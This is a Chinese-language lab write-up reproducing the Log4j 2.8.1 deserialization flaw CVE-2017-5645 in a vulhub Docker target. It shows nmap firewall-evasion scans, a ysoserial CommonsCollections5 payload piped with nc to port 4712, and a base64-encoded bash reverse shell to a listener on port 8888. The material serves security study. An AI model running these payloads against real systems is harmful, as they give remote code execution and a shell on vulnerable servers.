首页 > 其他分享 >log4j反序列化漏洞(CVE-2017-5645)

log4j反序列化漏洞(CVE-2017-5645)

时间:2023-06-25 18:32:09浏览次数:45  
标签:CVE 4712 jar 端口 命令 2017 序列化 数据包 bash

Log4j漏洞复现


基础知识:

Apache:开放源码的网页服务器


Apache Log4j:apache的一个开源项目,java下最流行的日志输入工具,控制每一条日志的输出格式。


Log4j版本:

2.8.1


漏洞编号:

CVE-2017-5645


环境搭建:

vulhub里的log4j

log4j反序列化漏洞(CVE-2017-5645)_jar


已开启

在4712端口会开启一个TCP server


漏洞验证:


查看4712端口是否开启

log4j反序列化漏洞(CVE-2017-5645)_jar_02


这里直接-p 4712去查看端口开放情况发现是“filtered状态”,说明被防火墙过滤掉了。

那么此时我们就要绕过防火墙进行探测


通常用-sS -sA -sF命令结合判断

-sS为半开放扫描

扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答,而是发送RST包请求断开连接。三次握手就没有完成,扫描没有记录到日志记录。不会留下扫描痕迹,需要root权限。

log4j反序列化漏洞(CVE-2017-5645)_java_03



-sF

FIN为TCP会话结束标志,在FIN扫描中设置一个FIN位的数据包,若响应RST数据包,则表示端口关闭,没有响应则表示端口开放,不能准确判断WINDOWS端口开放情况,适合探测linux系统的端口开放情况

log4j反序列化漏洞(CVE-2017-5645)_jar_04


-sA

扫描主机向目标主机发送ACK数据包,根据返回的RST数据包可得出两种情况:

返回的RST数据包的TTL值小于或等于64,端口开放,反之端口关闭。


log4j反序列化漏洞(CVE-2017-5645)_bash_05



log4j反序列化漏洞(CVE-2017-5645)_jar_06

log4j反序列化漏洞(CVE-2017-5645)_bash_07

log4j反序列化漏洞(CVE-2017-5645)_java_08

log4j反序列化漏洞(CVE-2017-5645)_bash_09


ACK


TTL<=64





从nmap -sF -p 4712 192.168.170.130这条命令当中得出4712端口是开放的



既然是开放的那我们就可以利用其进行测试


使用ysoserial生成payload,直接发送给192.168.170.130:4712端口即可


ysoserial个人理解为java反序列化的工具,用于生成payload

这里下载好后要打包成jar包

log4j反序列化漏洞(CVE-2017-5645)_bash_10



打包的过程还没有搞清楚- -,所以这里直接在网上找到了旧版的jar包资源

log4j反序列化漏洞(CVE-2017-5645)_bash_11



将下载好的jar包放到我们的kali上

log4j反序列化漏洞(CVE-2017-5645)_bash_12


执行命令:

Java -jar ysoserial-master.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712


log4j反序列化漏洞(CVE-2017-5645)_bash_13


这个命令是为了在我们的靶机的/tmp目录下创建一个testsuccess文件,如果命令执行成功,就可以在这个靶机上找到这个文件


因为是用docker容器里创建的靶场,我们可以先去看看容器的id是多少

log4j反序列化漏洞(CVE-2017-5645)_java_14


Log4j的ID为7c43debe731b

我们打开网站目录,来查看是否存在这个文件

Docker exec -it 7c43debe731b /bin/bash

log4j反序列化漏洞(CVE-2017-5645)_java_15


这里/bin/bash的作用是后台运行一个进程,否则容器就会退出,这里表示打开网站目录后启动bash


dockerexec -it CONTAINER_ID bash

进入容器终端并且的保留为容器终端的输入形式.

log4j反序列化漏洞(CVE-2017-5645)_jar_16



进入tmp目录发现testsuccess文件成功被创建

说明touch /tmp/testsuccess命令成功


Touch命令:

log4j反序列化漏洞(CVE-2017-5645)_jar_17


接下来我们可以进行反弹shell的命令

先开启监听端口

log4j反序列化漏洞(CVE-2017-5645)_bash_18


然后去网站生成bash命令

log4j反序列化漏洞(CVE-2017-5645)_jar_19



再将其进行base64位编码

log4j反序列化漏洞(CVE-2017-5645)_bash_20


log4j反序列化漏洞(CVE-2017-5645)_bash_21


返回kali输入命令

java -jar ysoserial-master.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MC4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.170.130 4712

log4j反序列化漏洞(CVE-2017-5645)_jar_22



监听8888端口就会弹出shell

log4j反序列化漏洞(CVE-2017-5645)_bash_23




修复建议:

更新至最新版本


标签:CVE,4712,jar,端口,命令,2017,序列化,数据包,bash
From: https://blog.51cto.com/u_16164891/6547765

相关文章

  • Java 反序列化之 XStream 反序列化
    0x01XStream基础XStream简介XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。使用XStream实现序列化与反序列化下面看下如何使用XStream进行序列化和反序列化操作的。先定义接口类IPerson.javapublicinterf......
  • Java 反序列化之 XStream 反序列化
    0x01XStream基础XStream简介XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。使用XStream实现序列化与反序列化下面看下如何使用XStream进行序列化和反序列化操作的。先定义接口类IPerson.javapubli......
  • django 如何在序列化器中抛出错误 并且在视图中捕捉返回给前端
    1.在create()中抛出错误classYourSerializer(serializers.Serializer):defcreate(self,validated_data):#进行数据验证是否满足条件#得到数据过程以省略condition=Falseifnotcondition:#抛出ValidationError异常,......
  • 【jenkins】CVE-2017-1000353
    0x01漏洞原理enkins未授权远程代码执行漏洞,允许攻击者将序列化的JavaSignedObject对象传输给JenkinsCLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制,导致代码执行。 0x02影响版本 所有Jenkins主版本均受到影响(包括<=2.56版本)所有Jen......
  • LOJ#6077. 「2017 山东一轮集训 Day7」逆序对题解
    考虑朴素dp,令\(f_{i,j}\)为\(1\simi\)排列有\(j\)个逆序对的排列数。有转移方程:\[f_{i,j}=\sum_{k=0}^{i-1}f_{i-1,j-k}\]特殊地,我们定义\(j<0\)的\(f_{i,j}\)为\(0\)。定义\(\displaystyleF_i(x)=\sum_{j=0}^{\infty}f_{i,j}x^j\),有\(\displaystyleF_{i}(x)=......
  • Pickle反序列化漏洞学习
    Pickle反序列化漏洞模块pickle实现了对一个Python对象结构的二进制序列化和反序列化。"pickling"是将Python对象及其所拥有的层次结构转化为一个字节流的过程,而"unpickling"是相反的操作,会将(来自一个binaryfile或者bytes-likeobject的)字节流转化回一个对象层次......
  • phar反序列化漏洞简单介绍
    phar反序列化漏洞介绍什么是phar:phar类似于java中的jar打包phar的结构:stubphar文件标识,格式为xxx<?phpxxx;__HALT_COMPILER();?>;(头部信息)manifest压缩文件的属性等信息,以序列化存储;contents压缩文件的内容;signature签名,放在文件末尾;phar协议解析文件时,会自动触发对......
  • 吴恩达-斯坦福CS229机器学习课程-2017(秋)最新课程分享
    吴恩达主讲的机器学习-2017年秋季课程已经开课啦,今天跟大家分享这套课程。课程介绍本课程主要介绍机器学习和统计模式识别相关的知识。内容主要包括:监督学习(生成/判别学习,参数/非参数学习,神经网络,支持向量机);无监督学习(聚类,维数规约,核方法);学习理论(偏差/方差权衡;VC理论;大边缘概率......
  • NC24048 [USACO 2017 Jan P]Promotion Counting
    题目链接题目题目描述Thecowshaveonceagaintriedtoformastartupcompany,failingtorememberfrompastexperiencethatcowsmaketerriblemanagers!Thecows,convenientlynumbered1…N(\(1\leqN\leq100,000\)),organizethecompanyasatree,withco......
  • 序列化和反序列化以及创建对象的几种方式
    如何将对象中的信息永久保存1.将来将对象信息存入数据库2.java中提供的序列化方式来永久保存数据序列化流的概述所谓的序列化:就是把对象通过流的方式存储到文件中.注意:此对象要重写Serializable接口才能被序列化packageorg.westos.Demo;importjava.io.*;publiccl......